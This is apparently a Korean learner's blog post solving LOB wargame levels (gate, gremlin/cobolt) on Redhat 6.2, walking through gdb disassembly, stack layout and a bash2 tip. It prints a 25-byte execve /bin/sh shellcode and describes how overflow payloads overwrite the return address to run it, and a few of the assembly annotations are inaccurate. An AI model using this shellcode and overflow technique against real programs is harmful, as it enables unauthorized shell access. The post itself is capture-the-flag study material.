자기계발

coblot를 열어봤습니다 .처음 문제와는달리 버퍼에 16 밖에 크기가 할당이 안됬네요 

제가 사용하던 25byte쉘코드로는 택도 없겠습니다.

처음에는 환경변수를 이용해서 문제를 푸려고 생각햇으나 그러기엔 너무 실력이 안늘거같아서 다른 방법을 생각해봤습니다 .argv[1]에는 16이라는 한도가잇지만 
argv[2]에는 한도가 없을거같습니다.. 테스트를 해봐야겠군요 

argv[1]은 30이 넘어가니 Segmentation fault가 뜨네요! 
그럼 이번에는 argv[2]를 실험해보겠습니다 

Segmentation fault가 안뜨네요 제대로 테스트한것인지 gdb를 통해 봐봅시다

gate와 비슷해서 자세한 설명은 생략하겠습니다

main +3에서 16이 할당됫고  main +10 ~ main +32까지 if문 
main +35~48 까지 인자값에 대하여 적혀있네요 
대략적인 스택의 구조는 
argv[1]
argv[0]
argc
ret[4]
sfp[4]
buffer[16] 
더미값이 없으니 대략 이정도로 구성이 되어잇겠습니다 

gate문제와 마찬가지고 strcpy실행 직후인 main +53에 브포를 걸고 해보겠습니다

 이렇게 넣으면 정상적으로 값이 들어가지않네요 위에서 cobolt에게 집어넣었던 방법은 잘못된 방법이였습니다 

이러한식으로 두번 넣어줫더니 값이 들어가네요 b는 16진수로 62기때문에 정상적으로 들어간것을 알 수 있습니다 .
또한 0xbffffae0 에서 0x400309cb 부분이 ret값입니다 

그러면 페이로드를 짜보겠습니다 

argv[1]로는 쉘코드를 다 넣어줄수가 없는거 아시겠죠 ? 그렇다면 제한이 없는 argv[2]를 이용해야겠습니다 
쉘코드를 argv[2]에 넣어준뒤 argv[1]에서 오버플로우를 일으켜서 덮어줄 리턴주소를 argv[2]로 변경해주면 쉘코드가 실행되겟죠 ? 

성공했습니다 ! cobolt의 권한을 가져왓군요 
gdb를 통해 어떠한 변화가 잇었는지 한번 봐보도록 하겠습니다 

리턴값이 저렇게 변해있네요 어떠한 값인지는 더 알아보고 추가로 포스팅 하겠습니다 

LOB에 들어가기전 shell을 bash2로 바꾸셔야합니다
단순히 입력창에 bash2를 입력하면 shell이 bash2로 변경됩니다.
(*도움얻은 글 iostreamcpp님의 티스토리)
Redhat Liunx 6.2는 bash의 버전이 기본적으로 1.14버전입니다 
하지만 1.14 버전은 0xff를 인식하지 못하는 버그를 가지고 잇기때문에 0xff가 0x00과 같은 역할을 하게됩니다.
중간에 0xff가 들어가게 되면 문자열이 복사되는 strcpy를 하면서 문자열이 중간에 잘려버리게 됩니다.
따라서 bash2는 이 버그를 고친 2.3버전이기때문에 bash2를 사용해야지 정상적으로 lob를 풀어나가실 수 있습니다 .
이 글을 쓰는 저도 이러한 버그를 몰라서 5~6시간동안 미련맞게 끙끙 거린거같습니다.. 

gate의 코드 소스입니다 . 문제들 이름이 그렘린 골렘등등 던전 몬스터처럼 특이하군요! 뭔가 클리어 하는 맛이 보람찰거같습니다.

간단하게 보면 입력을 받은후 버퍼변수에 복사를 하고 버퍼 변수를 출력하네요

그리고 이 해당코드를 그대로 gdb로 디버깅을 하려고 하면 권한문제가 생기기때문에
tmp로 해당코드를 복사해와서 컴파일 후 시도했습니다.

<main> push %ebp
<main+1> mov %ebp , %esp
<main+3> sub %esp , 0x100

- main의 스택프레임을 설정하고 buffer[256] 만큼 할당합니다

<main+9> cmp DWORD PTR [%ebp+8] ,1
cmp [ 인자 2개를 비교한다 ] %ebp+8 [ argc ] 와 1을 비교한다
<main+13> jg 0x8048456 <main+38>    
cmp가 등장할시 jg jmp 같은 어셈블리어들이 항상 등장한다.<main+9>에서 argc가  1보다 클 경우에 <main+38>로 점프한다.  
<main+15> push 0x80484e0             
           0x80484e0을 넣는다 [ 0x80484e0을 찾아보면 stdin 인것을 알 수 있다.]
<main+20> call 0x8048350 <printf>        
printf 함수를 호출한다.
<main+25> add %esp,4       
esp+4를 한다
<main+28> push 0      
0을 집어넣는다
<main+30> call 0x8048360 <exit>
exit함수를 호출한다.

여기까지가 이 부분이였습니다

<main+35> %esp , 4
esp+4를 한다 
<main+38> mov %eax,DWORD PTR [%ebp+12]
eax에 ebp+12 의 주소값을 담습니다. 
<main+41> add %eax 4
ebp+12 지점에서 4를 더한 주소 값을 eax에 저장합니다
<main+44> mov %edx,DWORD PTR [%eax]
edx에 ebp+16지점의 주소값을 저장합니다
<main+46> push %edx
edx를 스택에 넣습니다.
<main+47> lea %eax , [%ebp-256]
eax에 [%ebp-256]의 주소값을 저장합니다
<main+53> push %eax
eax를 스택에 넣습니다
<main+54> call 0x8048370 <strcpy>
strcpy 함수를 호출합니다
<main+59> add %esp,8]
esp에 8을 더합니다
<main+62> lea %eax , [%ebp-256]
eax에 [%ebp-256]의 주소값을 저장합니다
<main+68> push %eax
eax를 스택에 넣습니다 
<main+69> push 0x80484ec
stdin을 스택에 넣습니다
<main+74> call 0x8048350 <printf>
printf 함수를 호출합니다
<main+79> %esp , 8 
esp에 8을 더해줍니다 

[알 수 있는 사실 : printf같은 함수를 호출하기 위해서는 stdin을 먼저 push해줘야 합니다! , esp에서 0x100을 sub 해줌으로써 공간을 256 만큼 할당받았습니다. 고로 add를 해주는것은 함수를 사용하기 위해서 공간을 사용하는겁니다

gdb로 풀어보았습니다 .

main+3 = 0x100 = 256이 할당되네요 음 그리고 ftz와는 달리 현재 gate에서는 
dummy값이 보이지 않는거같습니다  바로 ebp-256지점에 strcpy를 해버리네요 

그렇다면 예상되는 현재 스택으로는 
buf[256] sfp[4] ret[4] 이렇게 되잇겠네요 .

strcpy가 실행되고 난 직후인 main+59에 브레이크를 걸어줬습니다.
그 후에 A를 260개만큼 집어넣었습니다 0xbffffa70지점 맨끝에 0x40030900이 보이네요 저 주소가 ret값이라고 예상할 수 있습니다 . 뜬금없지만 귀엽습니다..
그럼 아까 예상되는 스택크기로 공격을 해보겠습니다 .
제가 이용한 쉘코드는

"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"
입니다 .25byte이구요 .

그렇다면 buf[260](A+쉘코드25byte)+쉘코드를 넣을 버퍼의 주소(ret[4]에 해당)
이런식으로 넣어보겠습니다 

쉘코드를 버퍼 내부에 넣어주기 위해 적절하게 100 + 25(쉘코드) +135 +버퍼의 적절한 주소 를 넣어줬습니다 
ret의 주소가 0x4000f9b0으로 바뀌어있네요 저게 정확히는 무슨의미인지는 아직 제 실력으로는 모르겠습니다 배우고싶습니다 아시는분은 알려주시면 감사하겠습니다 .

저 공격 코드로 그렘린을 괴롭혀보겠습니다 

어라라라라라라라라 같은 코드를 넣어놨더니 Illegal instruction이 뜨네요 

그래서 넣어주는 주소를 0xbfff9b0에서 0xbffff940 으로 바꿔주었더니 풀어지네요 
여기서 그냥 넘어가면 실력이 안늘거같습니다 어떠한 차이가 잇나 확인해보기 위해서 gdb를 통해 다시 디버깅 해보겠습니다 

아까는 0x4000f9b0 이였는데 0x4000f940이 되어있네요 ?

--------너무 복잡하게 생각하고 잇었습니다 단순히 제가 넣은 값에 따라RET가 변경된거였습니다 너무 겁 먹고 뭔가 엄청난 법칙에 의해서 바뀌는줄 알았습니다...-_-
또한 4000은 bash 오류라고 합니다 ..!